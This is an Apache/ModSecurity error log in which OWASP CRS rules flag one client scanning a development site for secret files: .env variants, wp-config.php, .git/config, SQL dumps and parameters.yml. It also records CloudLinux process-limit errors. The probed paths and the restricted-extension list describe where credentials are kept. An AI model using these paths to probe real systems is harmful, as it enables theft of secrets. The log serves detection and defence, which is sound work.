[Fri Jul 17 08:28:09.926689 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.152.7.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaQQG5-NXx3Mem1QgOFQAAAA8"]
[Fri Jul 17 08:28:09.926871 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.152.7.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaQQG5-NXx3Mem1QgOFQAAAA8"]
[Fri Jul 17 08:28:09.927139 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaQQG5-NXx3Mem1QgOFQAAAA8"]
[Fri Jul 17 08:28:10.088756 2026] [security2:error] [pid 2014279:tid 2014279] [client 54.152.7.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaQkz_ZDvgWqiMlMbLSQAAAB0"]
[Fri Jul 17 08:28:10.089237 2026] [security2:error] [pid 2014279:tid 2014279] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaQkz_ZDvgWqiMlMbLSQAAAB0"]
[Fri Jul 17 08:28:10.157870 2026] [security2:error] [pid 2005917:tid 2005917] [client 54.152.7.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaQnf2WrySr2miwA73fgAAABY"]
[Fri Jul 17 08:28:10.158125 2026] [security2:error] [pid 2005917:tid 2005917] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaQnf2WrySr2miwA73fgAAABY"]
[Fri Jul 17 08:28:10.177033 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.152.7.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaQlh1WDijTxd1xw5I7AAAAAc"]
[Fri Jul 17 08:28:10.177276 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaQlh1WDijTxd1xw5I7AAAAAc"]
[Fri Jul 17 08:28:10.202801 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaQY1dLClkUfK_dfHhgQAAAAI"]
[Fri Jul 17 08:28:10.219497 2026] [security2:error] [pid 2014322:tid 2014322] [client 54.152.7.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaQiBZZ4YwiWQXUfleDgAAACI"]
[Fri Jul 17 08:28:10.219851 2026] [security2:error] [pid 2014322:tid 2014322] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaQiBZZ4YwiWQXUfleDgAAACI"]
[Fri Jul 17 08:28:10.321583 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.152.7.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaQg7FYe46zHK_jL3MVwAAABk"]
[Fri Jul 17 08:28:10.321836 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaQg7FYe46zHK_jL3MVwAAABk"]
[Fri Jul 17 08:28:10.374231 2026] [security2:error] [pid 1994976:tid 1994976] [client 54.152.7.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaQjRCJXF37-WnVv0ipwAAABI"]
[Fri Jul 17 08:28:10.374814 2026] [security2:error] [pid 1994976:tid 1994976] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaQjRCJXF37-WnVv0ipwAAABI"]
[Fri Jul 17 08:28:10.392337 2026] [hostinglimits:warn] [pid 1994446:tid 1994446] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(www.vraasbackdev.ksoft.web.lk) URL(/index.php) TID(1994446) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:10.395537 2026] [security2:error] [pid 1993659:tid 1993659] [client 54.152.7.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaQpOFLENLI63GGOEKTQAAAAQ"]
[Fri Jul 17 08:28:10.395926 2026] [security2:error] [pid 1993659:tid 1993659] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaQpOFLENLI63GGOEKTQAAAAQ"]
[Fri Jul 17 08:28:10.396091 2026] [hostinglimits:warn] [pid 1993659:tid 1993659] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(www.vraasbackdev.ksoft.web.lk) URL(/index.php) TID(1993659) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:10.396241 2026] [security2:error] [pid 1993659:tid 1993659] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaQpOFLENLI63GGOEKTQAAAAQ"]
[Fri Jul 17 08:28:10.397393 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.152.7.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaQlxP5-SsqbGuGB2lGAAAAAA"]
[Fri Jul 17 08:28:10.397772 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaQlxP5-SsqbGuGB2lGAAAAAA"]
[Fri Jul 17 08:28:10.397942 2026] [hostinglimits:warn] [pid 1993584:tid 1993584] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(www.vraasbackdev.ksoft.web.lk) URL(/index.php) TID(1993584) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:10.398100 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaQlxP5-SsqbGuGB2lGAAAAAA"]
[Fri Jul 17 08:28:10.400549 2026] [security2:error] [pid 1994966:tid 1994966] [client 54.152.7.101:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaQryEqmgiTSUa55oHigAAABA"]
[Fri Jul 17 08:28:10.404852 2026] [security2:error] [pid 1994966:tid 1994966] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaQryEqmgiTSUa55oHigAAABA"]
[Fri Jul 17 08:28:10.406320 2026] [hostinglimits:warn] [pid 1994966:tid 1994966] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(www.vraasbackdev.ksoft.web.lk) URL(/index.php) TID(1994966) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:10.406615 2026] [security2:error] [pid 1994966:tid 1994966] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaQryEqmgiTSUa55oHigAAABA"]
[Fri Jul 17 08:28:10.416781 2026] [hostinglimits:warn] [pid 1993570:tid 1993570] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(www.vraasbackdev.ksoft.web.lk) URL(/index.php) TID(1993570) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:10.443711 2026] [hostinglimits:warn] [pid 2014321:tid 2014321] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(www.vraasbackdev.ksoft.web.lk) URL(/index.php) TID(2014321) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:10.448606 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.152.7.101:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaQo4Wmn5zySdNNkAkyQAAABM"]
[Fri Jul 17 08:28:10.448915 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaQo4Wmn5zySdNNkAkyQAAABM"]
[Fri Jul 17 08:28:10.449093 2026] [hostinglimits:warn] [pid 1996894:tid 1996894] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(www.vraasbackdev.ksoft.web.lk) URL(/index.php) TID(1996894) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:10.449275 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaQo4Wmn5zySdNNkAkyQAAABM"]
[Fri Jul 17 08:28:10.453214 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(www.vraasbackdev.ksoft.web.lk) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:10.456806 2026] [security2:error] [pid 2013828:tid 2013828] [client 54.152.7.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/.env"] [unique_id "almaQuN_HRgVfO4akvmJvQAAABg"]
